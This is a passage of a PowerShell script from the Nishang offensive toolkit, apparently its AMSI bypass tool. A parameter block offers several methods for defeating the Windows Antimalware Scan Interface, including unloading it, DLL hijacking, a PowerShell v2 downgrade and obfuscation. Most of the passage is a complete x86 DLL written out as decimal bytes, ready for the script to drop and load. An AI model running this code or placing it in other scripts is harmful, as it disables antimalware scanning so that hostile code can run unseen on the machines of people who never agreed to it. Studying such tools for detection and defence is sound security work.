https://github.com/samratashok/nishang #> [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $False)] [ValidateSet("unload","unloadsilent","unloadobfuscated","unload2","dllhijack","psv2","obfuscation")] [String] $Method = "unloadsilent", [Parameter(Position = 1, Mandatory = $False)] [Switch] $ShowOnly ) $AmsiX86 = "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10 36 0 0 0 0 0 0 0 190 171 71 149 250 202 41 198 250 202 41 198 250 202 41 198 243 178 186 198 248 202 41 198 148 145 40 199 249 202 41 198 148 145 42 199 251 202 41 198 148 145 44 199 242 202 41 198 148 145 45 199 241 202 41 198 39 53 226 198 248 202 41 198 250 202 40 198 231 202 41 198 40 145 33 199 251 202 41 198 40 145 214 198 251 202 41 198 40 145 43 199 251 202 41 198 82 105 99 104 250 202 41 198 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 69 0 0 76 1 6 0 144 29 62 87 0 0 0 0 0 0 0 0 224 0 2 33 11 1 14 0 0 14 0 0 0 18 0 0 0 0 0 0 43 19 0 0 0 16 0 0 0 32 0 0 0 0 0 16 0 16 0 0 0 2 0 0 6 0 0 0 0 0 0 0 6 0 0 0 0 0 0 0 0 112 0 0 0 4 0 0 0 0 0 0 2 0 64 1 0 0 16 0 0 16 0 0 0 0 16 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 148 36 0 0 80 0 0 0 0 80 0 0 224 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 96 0 0 44 1 0 0 176 32 0 0 112 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 33 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 112 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0 0 124 12 0 0 0 16 0 0 0 14 0 0 0 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 114 100 97 116 97 0 0 220 7 0 0 0 32 0 0 0 8 0 0 0 18 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 100 97 116 97 0 0 0 136 3 0 0 0 48 0 0 0 2 0 0 0 26 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 192 46 103 102 105 100 115 0 0 20 0 0 0 0 64 0 0 0 2 0 0 0 28 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 115 114 99 0 0 0 224 1 0 0 0 80 0 0 0 2 0 0 0 30 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 101 108 111 99 0 0 44 1 0 0 0 96 0 0 0 2 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 66 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 51 192 194 12 0 59 13 4 48 0 16 242 117 2 242 195 242 233 96 3 0 0 85 139 236 139 69 12 131 232 0 116 51 131 232 1 116 32 131 232 1 116 17 131 232 1 116 5 51 192 64 235 48 232 245 4 0 0 235 5 232 207 4 0 0 15 182 192 235 31 255 117 16 255 117 8 232 24 0 0 0 89 235 16 131 125 16 0 15 149 192 15 182 192 80 232 23 1 0 0 89 93 194 12 0 106 16 104 24 36 0 16 232 123 9 0 0 106 0 232 35 5 0 0 89 132 192 117 7 51 192 233 224 0 0 0 232 40 4 0 0 136 69 227 179 1 136 93 231 131 101 252 0 131 61 60 51 0 16 0 116 7 106 7 232 203 7 0 0 199 5 60 51 0 16 1 0 0 0 232 74 4 0 0 132 192 116 101 232 206 8 0 0 104 186 25 0 16 232 177 6 0 0 232 93 7 0 0 199 4 36 57 24 0 16 232 160 6 0 0 232 112 7 0 0 199 4 36 128 32 0 16 104 124 32 0 16 232 78 11 0 0 89 89 133 192 117 41 232 237 3 0 0 132 192 116 32 104 120 32 0 16 104 116 32 0 16 232 42 11 0 0 89 89 199 5 60 51 0 16 2 0 0 0 50 219 136 93 231 199 69 252 254 255 255 255 232 68 0 0 0 132 219 15 133 76 255 255 255 232 52 7 0 0 139 240 131 62 0 116 30 86 232 40 5 0 0 89 132 192 116 19 255 117 12 106 2 255 117 8 139 54 139 206 232 136 8 0 0 255 214 255 5 24 48 0 16 51 192 64 232 201 8 0 0 195 138 93 231 255 117 227 232 131 5 0 0 89 195 106 12 104 56 36 0 16 232 105 8 0 0 161 24 48 0 16 133 192 127 4 51 192 235 79 72 163 24 48 0 16 232 22 3 0 0 136 69 228 131 101 252 0 131 61 60 51 0 16 2 116 7 106 7 232 190 6 0 0 232 180 3 0 0 131 37 60 51 0 16 0 199 69 252 254 255 255 255 232 27 0 0 0 106 0 255 117 8 232 65 5 0 0 89 89 51 201 132 192 15 149 193 139 193 232 78 8 0 0 195 232 164 3 0 0 255 117 228 232 6 5 0 0 89 195 106 12 104 88 36 0 16 232 236 7 0 0 131 101 252 0 139 125 12 131 255 1 116 10 131 255 2 116 5 139 93 8 235 49 255 117 16 87 139 93 8 83 232 218 0 0 0 139 240 137 117 228 133 246 15 132 190 0 0 0 255 117 16 87 83 232 216 253 255 255 139 240 137 117 228 133 246 15 132 167 0 0 0 131 255 1 117 7 83 232 198 9 0 0 89 255 117 16 87 83 232 159 253 255 255 139 240 137 117 228 131 255 1 117 43 133 246 117 30 255 117 16 80 83 232 135 253 255 255 255 117 16 86 83 232 147 253 255 255 255 117 16 86 83 232 116 0 0 0 131 255 1 117 4 133 246 116 4 133 255 117 11 83 232 130 9 0 0 89 133 255 116 5 131 255 3 117 72 255 117 16 87 83 232 98 253 255 255 139 240 137 117 228 133 246 116 53 255 117 16 87 83 232 58 0 0 0 139 240 235 36 139 77 236 139 1 81 255 48 104 22 16 0 16 255 117 16 255 117 12 255 117 8 232 86 2 0 0 131 196 24 195 139 101 232 51 246 137 117 228 199 69 252 254 255 255 255 139 198 232 54 7 0 0 195 85 139 236 86 139 53 160 32 0 16 133 246 117 5 51 192 64 235 18 255 117 16 139 206 255 117 12 255 117 8 232 193 6 0 0 255 214 94 93 194 12 0 85 139 236 131 125 12 1 117 5 232 88 4 0 0 255 117 16 255 117 12 255 117 8 232 177 254 255 255 131 196 12 93 194 12 0 85 139 236 106 0 255 21 40 32 0 16 255 117 8 255 21 0 32 0 16 104 9 4 0 192 255 21 4 32 0 16 80 255 21 8 32 0 16 93 195 85 139 236 129 236 36 3 0 0 106 23 232 234 8 0 0 133 192 116 5 106 2 89 205 41 163 32 49 0 16 137 13 28 49 0 16 137 21 24 49 0 16 137 29 20 49 0 16 137 53 16 49 0 16 137 61 12 49 0 16 102 140 21 56 49 0 16 102 140 13 44 49 0 16 102 140 29 8 49 0 16 102 140 5 4 49 0 16 102 140 37 0 49 0 16 102 140 45 252 48 0 16 156 143 5 48 49 0 16 139 69 0 163 36 49 0 16 139 69 4 163 40 49 0 16 141 69 8 163 52 49 0 16 139 133 220 252 255 255 199 5 112 48 0 16 1 0 1 0 161 40 49 0 16 163 44 48 0 16 199 5 32 48 0 16 9 4 0 192 199 5 36 48 0 16 1 0 0 0 199 5 48 48 0 16 1 0 0 0 106 4 88 107 192 0 199 128 52 48 0 16 2 0 0 0 106 4 88 107 192 0 139 13 4 48 0 16 137 76 5 248 106 4 88 193 224 0 139 13 0 48 0 16 137 76 5 248 104 164 32 0 16 232 225 254 255 255 139 229 93 195 85 139 236 139 69 8 86 139 72 60 3 200 15 183 65 20 141 81 24 3 208 15 183 65 6 107 240 40 3 242 59 214 116 25 139 77 12 59 74 12 114 10 139 66 8 3 66 12 59 200 114 12 131 194 40 59 214 117 234 51 192 94 93 195 139 194 235 249 232 85 7 0 0 133 192 117 3 50 192 195 100 161 24 0 0 0 86 190 64 51 0 16 139 80 4 235 4 59 208 116 16 51 192 139 202 240 15 177 14 133 192 117 240 50 192 94 195 176 1 94 195 232 32 7 0 0 133 192 116 7 232 118 5 0 0 235 5 232 77 7 0 0 176 1 195 106 0 232 207 0 0 0 132 192 89 15 149 192 195 232 97 7 0 0 132 192 117 3 50 192 195 232 85 7 0 0 132 192 117 7 232 76 7 0 0 235 237 176 1 195 232 66 7 0 0 232 61 7 0 0 176 1 195 85 139 236 232 203 6 0 0 133 192 117 24 131 125 12 1 117 18 255 117 16 139 77 20 80 255 117 8 232 136 4 0 0 255 85 20 255 117 28 255 117 24 232 219 6 0 0 89 89 93 195 232 155 6 0 0 133 192 116 12 104 68 51 0 16 232 220 6 0 0 89 195 232 240 6 0 0 133 192 15 132 217 6 0 0 195 106 0 232 221 6 0 0 89 233 215 6 0 0 85 139 236 131 125 8 0 117 7 198 5 92 51 0 16 1 232 186 4 0 0 232 189 6 0 0 132 192 117 4 50 192 93 195 232 176 6 0 0 132 192 117 10 106 0 232 165 6 0 0 89 235 233 176 1 93 195 85 139 236 131 236 12 86 139 117 8 133 246 116 5 131 254 1 117 124 232 31 6 0 0 133 192 116 42 133 246 117 38 104 68 51 0 16 232 80 6 0 0 89 133 192 116 4 50 192 235 87 104 80 51 0 16 232 61 6 0 0 247 216 89 26 192 254 192 235 68 161 4 48 0 16 141 117 244 87 131 224 31 191 68 51 0 16 106 32 89 43 200 131 200 255 211 200 51 5 4 48 0 16 137 69 244 137 69 248 137 69 252 165 165 165 191 80 51 0 16 137 69 244 137 69 248 141 117 244 137 69 252 176 1 165 165 165 95 94 139 229 93 195 106 5 232 6 2 0 0 204 106 8 104 120 36 0 16 232 117 3 0 0 131 101 252 0 184 77 90 0 0 102 57 5 0 0 0 16 117 96 161 60 0 0 16 129 184 0 0 0 16 80 69 0 0 117 79 185 11 1 0 0 102 57 136 24 0 0 16 117 65 139 69 8 185 0 0 0 16 43 193 80 81 232 180 253 255 255 89 89 133 192 116 42 247 64 36 0 0 0 128 117 33 199 69 252 254 255 255 255 176 1 235 31 139 69 236 139 0 51 201 129 56 5 0 0 192 15 148 193 139 193 195 139 101 232 199 69 252 254 255 255 255 50 192 232 59 3 0 0 195 85 139 236 232 11 5 0 0 133 192 116 15 128 125 8 0 117 9 51 192 185 64 51 0 16 135 1 93 195 85 139 236 128 61 92 51 0 16 0 116 6 128 125 12 0 117 18 255 117 8 232 67 5 0 0 255 117 8 232 59 5 0 0 89 89 176 1 93 195 85 139 236 161 4 48 0 16 139 200 51 5 68 51 0 16 131 225 31 255 117 8 211 200 131 248 255 117 7 232 1 5 0 0 235 11 104 68 51 0 16 232 233 4 0 0 89 247 216 89 27 192 247 208 35 69 8 93 195 85 139 236 255 117 8 232 186 255 255 255 247 216 89 27 192 247 216 72 93 195 85 139 236 131 236 20 131 101 244 0 131 101 248 0 161 4 48 0 16 86 87 191 78 230 64 187 190 0 0 255 255 59 199 116 13 133 198 116 9 247 208 163 0 48 0 16 235 102 141 69 244 80 255 21 28 32 0 16 139 69 248 51 69 244 137 69 252 255 21 32 32 0 16 49 69 252 255 21 36 32 0 16 49 69 252 141 69 236 80 255 21 16 32 0 16 139 77 240 141 69 252 51 77 236 51 77 252 51 200 59 207 117 7 185 79 230 64 187 235 16 133 206 117 12 139 193 13 17 71 0 0 193 224 16 11 200 137 13 4 48 0 16 247 209 137 13 0 48 0 16 95 94 139 229 93 195 104 96 51 0 16 255 21 24 32 0 16 195 104 96 51 0 16 232 229 3 0 0 89 195 184 104 51 0 16 195 184 112 51 0 16 195 232 239 255 255 255 139 72 4 131 8 4 137 72 4 232 231 255 255 255 139 72 4 131 8 2 137 72 4 195 184 132 51 0 16 195 85 139 236 129 236 36 3 0 0 83 86 106 23 232 234 3 0 0 133 192 116 5 139 77 8 205 41 51 246 141 133 220 252 255 255 104 204 2 0 0 86 80 137 53 120 51 0 16 232 133 3 0 0 131 196 12 137 133 140 253 255 255 137 141 136 253 255 255 137 149 132 253 255 255 137 157 128 253 255 255 137 181 124 253 255 255 137 189 120 253 255 255 102 140 149 164 253 255 255 102 140 141 152 253 255 255 102 140 157 116 253 255 255 102 140 133 112 253 255 255 102 140 165 108 253 255 255 102 140 173 104 253 255 255 156 143 133 156 253 255 255 139 69 4 137 133 148 253 255 255 141 69 4 137 133 160 253 255 255 199 133 220 252 255 255 1 0 1 0 139 64 252 106 80 137 133 144 253 255 255 141 69 168 86 80 232 252 2 0 0 139 69 4 131 196 12 199 69 168 21 0 0 64 199 69 172 1 0 0 0 137 69 180 255 21 20 32 0 16 86 141 88 255 247 219 141 69 168 137 69 248 141 133 220 252 255 255 26 219 137 69 252 254 195 255 21 40 32 0 16 141 69 248 80 255 21 0 32 0 16 133 192 117 13 15 182 195 247 216 27 192 33 5 120 51 0 16 94 91 139 229 93 195 83 86 190 8 36 0 16 187 8 36 0 16 59 243 115 24 87 139 62 133 255 116 9 139 207 232 56 0 0 0 255 215 131 198 4 59 243 114 234 95 94 91 195 83 86 190 16 36 0 16 187 16 36 0 16 59 243 115 24 87 139 62 133 255 116 9 139 207 232 13 0 0 0 255 215 131 198 4 59 243 114 234 95 94 91 195 255 37 112 32 0 16 204 204 204 204 204 104 75 26 0 16 100 255 53 0 0 0 0 139 68 36 16 137 108 36 16 141 108 36 16 43 224 83 86 87 161 4 48 0 16 49 69 252 51 197 80 137 101 232 255 117 248 139 69 252 199 69 252 254 255 255 255 137 69 248 141 69 240 100 163 0 0 0 0 242 195 139 77 240 100 137 13 0 0 0 0 89 95 95 94 91 139 229 93 81 242 195 85 139 236 255 117 20 255 117 16 255 117 12 255 117 8 104 5 16 0 16 104 4 48 0 16 232 203 1 0 0 131 196 24 93 195 85 139 236 131 37 124 51 0 16 0 131 236 44 83 51 219 67 9 29 16 48 0 16 106 10 232 228 1 0 0 133 192 15 132 116 1 0 0 131 101 236 0 51 192 131 13 16 48 0 16 2 51 201 86 87 137 29 124 51 0 16 141 125 212 83 15 162 139 243 91 137 7 137 119 4 137 79 8 137 87 12 139 69 212 139 77 224 137 69 244 129 241 105 110 101 73 139 69 220 53 110 116 101 108 11 200 139 69 216 53 71 101 110 117 11 200 247 217 106 1 88 26 201 106 0 128 193 1 89 83 15 162 139 243 91 137 7 137 119 4 137 79 8 137 87 12 116 67 139 69 212 37 240 63 255 15 61 192 6 1 0 116 35 61 96 6 2 0 116 28 61 112 6 2 0 116 21 61 80 6 3 0 116 14 61 96 6 3 0 116 7 61 112 6 3 0 117 17 139 61 128 51 0 16 131 207 1 137 61 128 51 0 16 235 6 139 61 128 51 0 16 131 125 244 7 139 69 224 137 69 228 139 69 220 137 69 248 137 69 232 124 50 106 7 88 51 201 83 15 162 139 243 91 141 93 212 137 3 137 115 4 137 75 8 137 83 12 139 69 216 169 0 2 0 0 137 69 236 139 69 248 116 9 131 207 2 137 61 128 51 0 16 95 94 169 0 0 16 0 116 109 131 13 16 48 0 16 4 199 5 124 51 0 16 2 0 0 0 169 0 0 0 8 116 85 169 0 0 0 16 116 78 51 201 15 1 208 137 69 240 137 85 244 139 69 240 139 77 244 131 224 6 51 201 131 248 6 117 51 133 201 117 47 161 16 48 0 16 131 200 8 199 5 124 51 0 16 3 0 0 0 246 69 236 32 163 16 48 0 16 116 18 131 200 32 199 5 124 51 0 16 5 0 0 0 163 16 48 0 16 51 192 91 139 229 93 195 51 192 57 5 20 48 0 16 15 149 192 195 195 255 37 52 32 0 16 255 37 60 32 0 16 255 37 56 32 0 16 255 37 48 32 0 16 255 37 64 32 0 16 255 37 104 32 0 16 255 37 100 32 0 16 255 37 96 32 0 16 255 37 92 32 0 16 255 37 88 32 0 16 255 37 84 32 0 16 255 37 80 32 0 16 255 37 76 32 0 16 255 37 72 32 0 16 255 37 12 32 0 16 176 1 195 51 192 195 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 198 38 0 0 0 39 0 0 20 39 0 0 40 39 0 0 68 39 0 0 186 39 0 0 164 39 0 0 138 39 0 0 116 39 0 0 94 39 0 0 226 38 0 0 0 0 0 0 184 37 0 0 84 37 0 0 152 37 0 0 118 37 0 0 194 37 0 0 0 0 0 0 154 38 0 0 140 38 0 0 116 38 0 0 88 38 0 0 60 38 0 0 26 38 0 0 8 38 0 0 250 37 0 0 238 37 0 0 0 0 0 0 27 28 0 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 48 0 16 112 48 0 16 0 0 0 0 0 0 0 0 144 29 62 87 0 0 0 0 2 0 0 0 61 0 0 0 132 33 0 0 132 19 0 0 0 0 0 0 144 29 62 87 0 0 0 0 12 0 0 0 20 0 0 0 196 33 0 0 196 19 0 0 0 0 0 0 144 29 62 87 0 0 0 0 13 0 0 0 44 2 0 0 216 33 0 0 216 19 0 0 0 0 0 0 144 29 62 87 0 0 0 0 14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 92 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 48 0 16 128 33 0 16 1 0 0 0 112 32 0 16 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 75 26 0 0 82 83 68 83 69 10 117 219 0 114 41 77 133 149 98 78 29 103 122 248 7 0 0 0 67 58 92 68 101 118 101 108 111 112 109 101 110 116 92 65 109 115 105 92 82 101 108 101 97 115 101 92 65 109 115 105 46 112 100 98 0 0 0 0 0 0 0 0 20 0 0 0 20 0 0 0 1 0 0 0 19 0 0 0 71 67 84 76 0 16 0 0 124 12 0 0 46 116 101 120 116 36 109 110 0 0 0 0 0 32 0 0 112 0 0 0 46 105 100 97 116 97 36 53 0 0 0 0 112 32 0 0 4 0 0 0 46 48 48 99 102 103 0 0 116 32 0 0 4 0 0 0 46 67 82 84 36 88 67 65 0 0 0 0 120 32 0 0 4 0 0 0 46 67 82 84 36 88 67 90 0 0 0 0 124 32 0 0 4 0 0 0 46 67 82 84 36 88 73 65 0 0 0 0 128 32 0 0 4 0 0 0 46 67 82 84 36 88 73 90 0 0 0 0 132 32 0 0 4 0 0 0 46 67 82 84 36 88 80 65 0 0 0 0 136 32 0 0 4 0 0 0 46 67 82 84 36 88 80 90 0 0 0 0 140 32 0 0 4 0 0 0 46 67 82 84 36 88 84 65 0 0 0 0 144 32 0 0 4 0 0 0 46 67 82 84 36 88 84 90 0 0 0 0 160 32 0 0 220 0 0 0 46 114 100 97 116 97 0 0 128 33 0 0 4 0 0 0 46 114 100 97 116 97 36 115 120 100 97 116 97 0 0 0 132 33 0 0 128 2 0 0 46 114 100 97 116 97 36 122 122 122 100 98 103 0 0 0 4 36 0 0 4 0 0 0 46 114 116 99 36 73 65 65 0 0 0 0 8 36 0 0 4 0 0 0 46 114 116 99 36 73 90 90 0 0 0 0 12 36 0 0 4 0 0 0 46 114 116 99 36 84 65 65 0 0 0 0 16 36 0 0 4 0 0 0 46 114 116 99 36 84 90 90 0 0 0 0 24 36 0 0 124 0 0 0 46 120 100 97 116 97 36 120 0 0 0 0 148 36 0 0 60 0 0 0 46 105 100 97 116 97 36 50 0 0 0 0 208 36 0 0 20 0 0 0 46 105 100 97 116 97 36 51 0 0 0 0 228 36 0 0 112 0 0 0 46 105 100 97 116 97 36 52 0 0 0 0 84 37 0 0 136 2 0 0 46 105 100 97 116 97 36 54 0 0 0 0 0 48 0 0 24 0 0 0 46 100 97 116 97 0 0 0 24 48 0 0 112 3 0 0 46 98 115 115 0 0 0 0 0 64 0 0 20 0 0 0 46 103 102 105 100 115 36 121 0 0 0 0 0 80 0 0 88 0 0 0 46 114 115 114 99 36 48 49 0 0 0 0 96 80 0 0 128 1 0 0 46 114 115 114 99 36 48 50 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 254 255 255 255 0 0 0 0 208 255 255 255 0 0 0 0 254 255 255 255 0 0 0 0 110 17 0 16 0 0 0 0 254 255 255 255 0 0 0 0 212 255 255 255 0 0 0 0 254 255 255 255 0 0 0 0 233 17 0 16 0 0 0 0 254 255 255 255 0 0 0 0 212 255 255 255 0 0 0 0 254 255 255 255 203 18 0 16 234 18 0 16 0 0 0 0 254 255 255 255 0 0 0 0 216 255 255 255 0 0 0 0 254 255 255 255 215 22 0 16 234 22 0 16 20 37 0 0 0 0 0 0 0 0 0 0 220 37 0 0 48 32 0 0 44 37 0 0 0 0 0 0 0 0 0 0 164 38 0 0 72 32 0 0 228 36 0 0 0 0 0 0 0 0 0 0 206 39 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 198 38 0 0 0 39 0 0 20 39 0 0 40 39 0 0 68 39 0 0 186 39 0 0 164 39 0 0 138 39 0 0 116 39 0 0 94 39 0 0 226 38 0 0 0 0 0 0 184 37 0 0 84 37 0 0 152 37 0 0 118 37 0 0 194 37 0 0 0 0 0 0 154 38 0 0 140 38 0 0 116 38 0 0 88 38 0 0 60 38 0 0 26 38 0 0 8 38 0 0 250 37 0 0 238 37 0 0 0 0 0 0 40 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97 105 110 95 105 110 118 111 107 101 95 116 114 105 103 103 101 114 0 41 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97 105 110 95 114 101 116 117 114 110 95 116 114 105 103 103 101 114 0 37 0 95 95 115 116 100 95 116 121 112 101 95 105 110 102 111 95 100 101 115 116 114 111 121 95 108 105 115 116 0 0 72 0 109 101 109 115 101 116 0 0 53 0 95 101 120 99 101 112 116 95 104 97 110 100 108 101 114 52 95 99 111 109 109 111 110 0 86 67 82 85 78 84 73 77 69 49 52 48 46 100 108 108 0 0 56 0 95 105 110 105 116 116 101 114 109 0 57 0 95 105 110 105 116 116 101 114 109 95 101 0 65 0 95 115 101 104 95 102 105 108 116 101 114 95 100 108 108 0 53 0 95 105 110 105 116 105 97 108 105 122 101 95 110 97 114 114 111 119 95 101 110 118 105 114 111 110 109 101 110 116 0 0 54 0 95 105 110 105 116 105 97 108 105 122 101 95 111 110 101 120 105 116 95 116 97 98 108 101 0 0 62 0 95 114 101 103 105 115 116 101 114 95 111 110 101 120 105 116 95 102 117 110 99 116 105 111 110 0 36 0 95 101 120 101 99 117 116 101 95 111 110 101 120 105 116 95 116 97 98 108 101 0 31 0 95 99 114 116 95 97 116 101 120 105 116 0 23 0 95 99 101 120 105 116 0 0 97 112 105 45 109 115 45 119 105 110 45 99 114 116 45 114 117 110 116 105 109 101 45 108 49 45 49 45 48 46 100 108 108 0 130 5 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101 114 0 0 67 5 83 101 116 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101 114 0 9 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 0 97 5 84 101 114 109 105 110 97 116 101 80 114 111 99 101 115 115 0 0 109 3 73 115 80 114 111 99 101 115 115 111 114 70 101 97 116 117 114 101 80 114 101 115 101 110 116 0 45 4 81 117 101 114 121 80 101 114 102 111 114 109 97 110 99 101 67 111 117 110 116 101 114 0 10 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 73 100 0 14 2 71 101 116 67 117 114 114 101 110 116 84 104 114 101 97 100 73 100 0 0 214 2 71 101 116 83 121 115 116 101 109 84 105 109 101 65 115 70 105 108 101 84 105 109 101 0 75 3 73 110 105 116 105 97 108 105 122 101 83 76 105 115 116 72 101 97 100 0 103 3 73 115 68 101 98 117 103 103 101 114 80 114 101 115 101 110 116 0 75 69 82 78 69 76 51 50 46 100 108 108 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 177 25 191 68 78 230 64 187 255 255 255 255 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 54 0 0 0 73 0 0 0 76 0 0 0 12 0 0 0 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 